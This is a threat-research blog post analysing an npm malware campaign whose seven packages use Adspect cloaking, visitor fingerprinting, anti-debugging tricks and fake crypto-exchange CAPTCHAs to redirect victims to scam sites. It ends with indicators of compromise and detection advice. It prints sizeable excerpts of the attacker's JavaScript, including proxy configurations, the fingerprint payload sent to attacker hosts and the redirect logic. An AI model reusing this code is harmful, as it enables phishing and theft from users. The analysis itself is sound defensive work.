npm Malware Campaign Uses Adspect Cloaking to Deliver Malicious Redirects

Malicious npm packages use Adspect cloaking and fake CAPTCHAs to fingerprint visitors and redirect victims to crypto-themed scam sites.

  • Olivia Brown
9 min read
npm Malware Campaign Uses Adspect Cloaking to Deliver Malicious Redirects

The Socket Threat Research Team recently discovered dino_reborn, an npm threat actor with seven packages constructing an intricate malware campaign. Upon visiting a fake website constructed by one of the packages, the threat actor determines if the visitor is a victim or a security researcher. If the visitor is a victim, they see a fake CAPTCHA, eventually bringing them to a malicious site. If they are a security researcher, only a few tells on the fake website would tip them off that something nefarious may be occurring.

dino_reborn was created with email geneboo@proton[.]me, and six of its seven packages contain malware with very few differences between them. The remaining package builds a malicious webpage. The seven packages are: signals-embed, dsidospsodlks, applicationooks21, application-phskck, integrator-filescrypt2025, integrator-2829, and integrator-2830. Currently, all seven packages are live on npm. After we submitted takedown requests to npm, npm put these packages in security holding.

The malicious packages on npm.

The Malware Packages

#

dsidospsodlks, applicationooks21, application-phskck, integrator-filescrypt2025, integrator-2829, and integrator-2830 contain the 39 kB malware. The few differences between the six packages are mostly in the Adspect configuration. There are also some differences between the URLs.

For example, these are from integrator-2829:

JavaScript
    const CONFIG = {
        ADSPECT_STREAM_ID: '81330cb9-f454-414c-a166-9841238cb086', // Ваш Stream ID
        ADSPECT_API: 'https://rpc[.]adspect[.]net/v2/',
        PROXY_URL: 'https://association-google[.]xyz/adspect-proxy[.]php',
        TARGET_CONTAINER: 'integrator-2829'
    };

Configuration of integrator-2829.

JavaScript
  async function serveLocalFile(filename) {
        const container = getOrCreateContainer();

        try {
            // ИСПРАВЛЕНО: используем adspect-file.php для CORS-safe загрузки (SOCKET TRANSLATION: FIXED: we use adspect-file.php for CORS-safe loading
            const fileUrl = `https://protectorapp[.]online/adspect-file[.]php?file=${filename}`;
            console.log('[DEBUG] Trying to load via CORS proxy:', fileUrl);
            console.log('[ADSPECT] Loading file via proxy:', fileUrl);

Const fileURL is the proxy used by the threat actor. Comment was added by the threat actor, translation was supplied by the Socket Threat Research Team.

JavaScript
  // Показать точную копию капчи из index.html (SOCKET TRANSLATION: Show an exact copy of the CAPTCHA from index.html)
    function showCaptchaWithRedirect(redirectUrl) {
        const container = getOrCreateContainer();

        // Точная копия HTML и CSS из index.html (SOCKET TRANSLATION: An exact copy of the HTML and CSS from index.html)
        container.innerHTML = `
         //REMOVED FOR VIEWING PURPOSES (Socket)
            </style>

            <div class="main-wrapper" role="main">
                <div class="main-content">
                    <h1 class="zone-name-title h1">standx.com</h1>
                    <p id="TPlCG2" class="h2 spacer-bottom">Verify you are human by completing the action below.</p>

The URL standx[.]com is displayed in the fake CAPTCHA. All comments supplied by the threat actor unless otherwise marked. The Socket Threat Research Team defanged the url and supplied the translations.

  • dsidospsodlks has an ADSPECT_STREAM_ID of fbaf1202-e5ff-4b06-9c94-9692d823b8cd, a PROXY_URL of https://appprotector[.]online/adspect-proxy[.]php, a TARGET_CONTAINERof signals-embed-root. It also uses https://appprotector[.]online/adspect-file[.]php?file=${filename} as the proxy in the fileURL constant, and uses jup[.]ag in the CAPTCHA interface.
  • applicationooks21 has an ADSPECT_STREAM_ID of f942b777-086e-4b8c-a9f3-ad2b233e98f5 with PROXY_URL: <https://protectorapp>[.]online/adspect-proxy[.]php and TARGET_CONTAINER: signals-embed-root. It also uses jup instead of standx.
  • application-phskck is identical to applicationooks21.
  • integrator-filescrypt2025 updates the TARGET_CONTAINER to integrator-google2025. Otherwise, it has the same fileURL as dsidospsodlks. It also updates the CAPTCHA interface to use uniswap instead of standx.
  • integrator-2830 has itself as the TARGET_CONTAINER. It uses https://association-google[.]xyz/adspect-file[.]php?file=${filename} as the fileURL.

These similarities and differences help us track the threat actor’s behavior. The TARGET_CONTAINER signals-embed-root connects these malware packages directly to the threat actor’s other package, giving us a full picture of how this campaign works. The ADSPECT_STREAM_IDenables the threat actor to track which of these packages is behaving more successfully, so the fact that three of the packages have the same stream may indicate that the threat actor felt more confident in those packages and stopped wanting to update the differences between them.

The Code

#

The code automatically executes because it’s wrapped in IIFE (Immediately Invoked Function Expression). The code also has some anti-analysis techniques:

JavaScript
//SOCKET COMMENT: These tactics make it difficult for security researchers to analyze the code
// Add Security Features (из вашего base64 скрипта)
function addSecurityFeatures() {
// Disable right-click
document.addEventListener('contextmenu', e => e.preventDefault());
 // Disable F12, Ctrl+U, Ctrl+Shift+I
    document.addEventListener('keydown', e => {
        if (e.key === 'F12' ||
            (e.ctrlKey && e.key === 'u') ||
            (e.ctrlKey && e.shiftKey && e.key === 'I')) {
            e.preventDefault();
        }
    });

    // Anti-debugging
    setInterval(() => {
        if (window.devtools && window.devtools.open) {
            window.location.reload();
        }
    }, 1000);
}

All comments are supplied by the threat actor unless otherwise marked.

  • Blocks right-click —> can’t “Inspect Element”
  • Blocks F12 —> Can’t open DevTools
  • Blocks Ctrl + U —> Can’t view source code
  • Blocks Ctrl + Shift + I —> Can’t open DevTools alternative
  • Detects DevTools —> If you open DevTools anyway, page reloads constantly

All these tactics make it extremely difficult for security researchers to analyze the code.

Fingerprinting

#
JavaScript
 async function callAdspectAPI() {
        try {
            // Собираем полные данные как в PHP версии (SOCKET TRANSLATION: we collect the full data just like in the PHP version.)
            const payload = {
                server: {
                    HTTP_USER_AGENT: navigator.userAgent,
                    HTTP_HOST: window.location.host,
                    HTTP_REFERER: document.referrer,
                    REQUEST_URI: window.location.pathname + window.location.search,
                    QUERY_STRING: window.location.search.slice(1),
                    REQUEST_METHOD: 'GET',
                    SERVER_NAME: window.location.hostname,
                    SERVER_PORT: window.location.port || (window.location.protocol === 'https:' ? '443' : '80'),
                    HTTPS: window.location.protocol === 'https:' ? 'on' : 'off',
                    REQUEST_TIME: Math.floor(Date.now() / 1000),
                    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                    HTTP_ACCEPT_LANGUAGE: navigator.language,
                    HTTP_ACCEPT_ENCODING: 'gzip, deflate, br'
                }
            };

The malware collects data about the visitor to the webpage. The comment is written by the threat actor in Russian, and Socket provided the translation.

Here, the malware collects the above 13 different fields to understand if the traffic is coming from a potential victim or security researcher. The threat actor then sends all that information to a proxy, acting like a full “server” from the browser. In this example from integrator-2829, the proxy is association-google[.]xyz/adspect-proxy[.]php. The proxy is also helpful to get the visitor’s real IP address and to hide the adspect API structure.

The Adspect API

#

All of those data points, including the real IP, are then sent to the Adspect API through the threat actor’s proxy endpoint (PROXY_URL in the code, such as https://appprotector[.]online/adspect-proxy[.]php, where the giveaway is the "adspect-proxy” part of the URL). These data points give Adspect a high-fidelity fingerprint of device, broswer, locale, referrer, host, browsing content, and time of request.

Although we cannot know exactly what happens once the information reaches the Adspect API, we do know that Adpsect is a cloaking service to ensure only legitimate visitors see a real website. The ideal use is to ensure bots, competitors, and malicious actors see and interact with a different version. However, in this case, if the Adspect API determines if the visitor is a researcher, they will be shown a white page, whereas if they are determined to not be a researcher, they will be shown a fake CAPTCHA.

JavaScript
  try {
            // Первый вызов Adspect API для определения белой/блек (SOCKET Translation: The first Adspect API call to determine white/black)
            const adspectResult = await callAdspectAPI();

            if (adspectResult) {
                console.log('[ADSPECT] Initial response:', adspectResult);

                // Если ok:false - показать белую страницу (SOCKET Translation: If ok:false — show the white page.)
                if (!adspectResult.ok) {
                    console.log('[ADSPECT] Showing white page');
                    handleAdspectAction(adspectResult);
                    return;
                }

                // Если ok:true - показать фейковую капчу и сохранить URL для редиректа (SOCKET Translation: If ok:true — show the fake CAPTCHA and save the URL for the redirect.)
                console.log('[ADSPECT] Showing captcha, saving redirect URL');
                console.log('[DEBUG] Will redirect to:', adspectResult.target);
                showCaptchaWithRedirect(adspectResult.target);
            } else {
                throw new Error('No Adspect response');
            }

        } catch (error) {
            console.log('[ADSPECT] Error:', error.message);
            // Показываем белую страницу при любых ошибках (SOCKET Translation: We show the white page in case of any errors.)
            showBuiltinWhitePage();
        }

Decision logic from integrator-2829 showing how the result from the Adpsect API determines the behavior of the malware. Translations supplied by Socket.

The CAPTCHA

#

However, if you are determined to be a victim, the malware will instead show you a CAPTCHA with a redirect.

JavaScript
 // Обработка клика на капчу (SOCKET Translation: Handling the click on the CAPTCHA) 
        window.handleCaptchaClick = function() {
            console.log('[CAPTCHA] User clicked captcha!');

            const verify = document.getElementById('verify');
            const verifying = document.getElementById('verifying');
            const success = document.getElementById('success');
            const checkbox = document.getElementById('vfclick');

            // Скрыть кнопку верификации, показать спиннер (SOCKET Translation: Hide the verification button, show the spinner.) 
            if (verify) verify.style.display = 'none';
            if (verifying) verifying.style.display = 'block';
            if (checkbox) checkbox.checked = true;

            // Через 3 секунды показать успех (SOCKET Translation: After 3 seconds, show success.)
            setTimeout(() => {
                if (verifying) verifying.style.display = 'none';
                if (success) success.style.display = 'block';

                // Через еще 1 секунду - редирект (SOCKET Translation: After another 1 second — redirect.) 
                setTimeout(() => {
                    console.log('[CAPTCHA] Opening new tab:', redirectUrl);
                    window.open(redirectUrl, '_blank');
                }, 1000);
            }, 3000);
        };

Comments are supplied by the threat actor, translations supplied by Socket.

After three seconds, the threat actor informs the victim that their CAPTCHA was successful. After another second, a new tab is opened to a URL that was supplied by the Adspect API response.

This addition of the CAPTCHA, instead of just redirecting to the malicious site, has many potential reasons. An immediate redirect would be suspicious, but a CAPTCHA is the perfect disguise for a redirect and may not be flagged by security systems. Adspect users usually use a “human verification” intermediary step as well, so the behavior does not immediately raise any red flags. The CAPTCHA also delays the redirect, helping to further evade automated scanners. It enables the threat actor to update the malicious URL more frequently than if it were hardcoded into each of the 6 malware packages themselves. Often, users feel like they are initiating an action when they click a CAPTCHA checkbox, so the CAPTCHA gives a psychological justification for a redirect to a new webpage, increasing the likelihood the victim will hit the malicious payload. CAPTCHAs are associated with Cloudflare, Google, bot prevention, and therefore build trust and legitimacy.

Crypto Connection

#

standx.com, jup.ag and uniswap.org all reference decentralized exchanges. standx centers on DUSD, a stablecoin. jup is a Solana based superapp. uniswap runs on ethereum. These pop up in the malware as displayed branding to make the CAPTCHA look look legit. The threat actor wants the page to look as if the victim is verifying with the real exchange. It is therefore likely that the threat actor’s goal is to steal crypto.

The Webpage

#

signals-embed, another package by the same threat actor, contains code for the webpage. It is not directly malicious, but constructs the white page that a visitor deemed a security researcher would see, and interoperates via the shared container IDs. Its README contains:

# signals-embed
Один JS со «снимком» сайта Signals Research для вставки в Google Sites без iframe и без внешних запросов.

README for signals-embed.

This translates to, “A singled JS with a ‘snapshot’ of the Signals Research website for embedding into Google Sites without an iframe and without external requests.” This README helps the masquerade, making it seem like it’s just a copy of a website for signals research, giving the malicious activity of ingesting all those data points a plausible defense. In reality, it’s a static cloaking payload, a fake brand website meant to look legitimate while masking the actor’s infrastructure.

The actual code of the webpage is 51 kB and the vast majority of that code corresponds to a webpage for a fake company named Offlido, with a URL of https://fanqut[.]eu[.]com/about[.]html.

However, the beginning of the code looks like this:

JavaScript
(() => {
  const e = document.currentScript,
    t = e?.dataset?.target || "signals-embed-root";
  let r = document.getElementById(t);
  if (!r) {
    r = document.createElement("div");
    r.id = t;
    e.insertAdjacentElement("afterend", r);
  }
  let c = document.getElementById("signals-embed-container");
  if (!c) {
    c = document.createElement("div");
    c.id = "signals-embed-container";
    r.appendChild(c);
  }
  ///JAVASCRIPT FOR WEBPAGE///

Code from signals-embed.

Here, again we see signals-embed-root. This code looks for an element in the javascript for with that ID, and if it is absent, it creates it. This means this package and the previous malware packages are interoperable. In fact, this code corresponds to the white page that is shown to the security researchers, instead of the fake CAPTCHA shown to the victims.

The URL does not reference the fake company or signals research. fanqut is a nonsense word, potentially typosquatting FanVue, an OnlyFans competitor. The eu portion of the URL was likely added to make it more convincing, but does not. Anyone can register for a website with eu[.]com.

Screenshot of the URL.

Screenshot of the Get in Touch section of the URL.

The code in signals-embed corresponds to the information in the Privacy Policy.

Your Rights and Choices</h2>\n<div class=\"content-text\">\n<p>Depending on your location and applicable laws, you may have the following rights regarding your personal information:</p>\n<ul>\n<li><strong>Access:</strong> The right to request access to your personal information and receive a copy of the data we hold about you</li>\n<li><strong>Correction:</strong> The right to request correction of inaccurate or incomplete personal information</li>\n<li><strong>

Snippet of the code from signals-embed showing the correlation between it and the information from the Privacy Policy page.

The Offlido page is long, polishes, and includes full legal boilerplate information, which is atypical for a quick-turn cloaking campaign. It therefore lowers suspicion and increases dwell time for analysts.

Connecting the Malware and the Webpage

#

Besides the fact that the webpage and malware packages are developed by the same threat actor, the malware packages also directly reference the offlido webpage.

JavaScript
// Встроенная белая страница (fallback) (SOCKET Translation: Built-in white page (fallback))
    function showBuiltinWhitePage() {
        const container = getOrCreateContainer();

        // Inject styles
        const style = document.createElement('style');
        style.textContent = `
            * { margin: 0; padding: 0; box-sizing: border-box; }
            body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; }
            .container { max-width: 1200px; margin: 0 auto; padding: 0 20px; }
            .header { background: #fff; padding: 20px 0; border-bottom: 1px solid #e2e8f0; }
            .hero { padding: 80px 0; background: linear-gradient(135deg, #f7fafc 0%, #edf2f7 100%); text-align: center; }
            .footer { background: #2d3748; color: white; padding: 40px 0; text-align: center; }
        `;
        document.head.appendChild(style);

        container.innerHTML = `
            <header class="header">
                <div class="container">
                    <h1 style="color: #4a5568;">Offlido</h1>
                </div>
            </header>
            <section class="hero">
                <div class="container">
                    <h1>Compliance-Forward Offline Storage Accessories</h1>
                    <p>Secure, certified, and fire-resistant storage solutions for your important documents and assets.</p>
                </div>
            </section>
            <footer class="footer">
                <div class="container">
                    <p>&copy; 2025 Offlido. All rights reserved.</p>
                    <p>Business not pertaining to the purchase, holding, or exchange of cryptocurrencies.</p>
                </div>
            </footer>
        `;

        document.title = "Offlido - Secure Document Storage";
    }

Code from the malware packages building the offlido page in case of a network error. Comments are supplied by the threat actor and translate to, “Built-in white page.”

This code is called when a network error prevents the loading of the offlido page. Based on the 2025 Offlido part of the code, we can further connect these seven packages as part of the same malware campaign.

Both tracks, the security researcher and the victim track, share DOM scaffolding, so that the cloak and the payload slot into the same surface seamlessly.

Outlook and Recommendations

#

The use of Adspect cloaking within npm supply-chain packages is rare. This is an attempt to merge traffic cloaking, anti-research controls, and open source distribution. This campaign shows how traffic cloaking, previously seen mostly in paid malvertising and fake affiliate operations, could work in the open-source ecosystem.

By embedding Adspect logic in npm packages, the threat actor can distribute a self-contained traffic-gating toolkit that automatically decides which visitors to expose to real payloads. By reconstructing PHP-style request context in JavaScript and pushing it through a proxy, the actor gets “server-quality” fingerprinting from the client and can rotate final targets server-side without republishing any package.

The integration of fake crypto-exchange CAPTCHAs and legitimate-looking static pages demonstrates growing attention to detail in deception, while anti-debugging JavaScript and dynamic redirect endpoints reduce visibility for defenders.

Because Adspect returns new redirect URLs on each request, the actor can easily rotate payloads without republishing any npm packages, making takedowns reactive rather than preventative.

Defenders should expect continued abuse of Adspect-style cloaking and proxy infrastructure in browser-executed open source packages. These tactics will likely reappear with new brand façades and new package names. Web teams should treat unexpected scripts that disable user interactions or that post detailed client fingerprints to unfamiliar PHP endpoints as immediate red flags. Network defenders should monitor for /adspect-proxy.php and /adspect-file.php paths across any domains, as these serve as reliable indicators of this actor’s toolkit.

Socket’s security tooling is built to catch exactly these browser-delivered supply-chain attacks before they land. The Socket GitHub App analyzes pull requests in real time for newly introduced risks like network beacons, auto-executing JavaScript, and redirect logic to attacker infrastructure. The Socket CLI enforces the same behavioral checks during npm install, blocking malicious packages such as integrator-2830 or applicationooks21 at the gate. Socket Firewall prevents known malicious packages and transitive dependencies from ever being fetched by mediating dependency requests—use it alongside the CLI to implement behavior-level gating and domain-based blocking for Adspect-linked endpoints. The Socket browser extension flags suspicious packages directly on npm, surfacing malware verdicts, lookalike names, and observed network IOCs in context. For AI-assisted coding, Socket MCP warns when code assistants suggest risky or hallucinated dependencies, a growing risk as threat actors pivot to embedding redirect-based or C2-style telemetry in JavaScript libraries.

MITRE ATT&CK

#
  • T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
  • T1583.001 — Acquire Infrastructure: Domains
  • T1583.006 — Acquire Infrastructure: Web Services
  • T1082 — System Information Discovery
  • T1592 — Gather Victim Host Information
  • T1590 — Gather Victim Network Information
  • T1204 — User Execution
  • T1189 — Drive-by Compromise
  • T1071.001 — Application Layer Protocol: Web Protocols
  • T1090 — Proxy
  • T1036 — Masquerading
  • T1622 — Debugger Evasion
  • T1059.007 — Command and Scripting Interpreter: JavaScript

Indicators of Compromise

#

Threat Actor’s Email Address

#
  • geneboo@proton[.]me

Malicious Packages

#

Configuration Strings

#
  • https://association-google[.]xyz/adspect-proxy[.]php
  • 81330cb9-f454-414c-a166-9841238cb086
  • https://appprotector[.]online/adspect-proxy[.]php
  • fbaf1202-e5ff-4b06-9c94-9692d823b8cd
  • https://appprotector[.]online/adspect-file[.]php?file=${filename}
  • f942b777-086e-4b8c-a9f3-ad2b233e98f5
  • https://protectorapp[.]online/adspect-proxy[.]php
  • https://protectorapp[.]online/adspect-file[.]php
  • 81330cb9-f454-414c-a166-9841238cb086
  • integrator-google2025
  • https://association-google[.]xyz/adspect-file[.]php?file=${filename}

Fake Webpage

#
  • https://fanqut[.]eu[.]com/about[.]html
Stay ahead of threats

Subscribe to our newsletter

Get notified when we publish new security blog posts!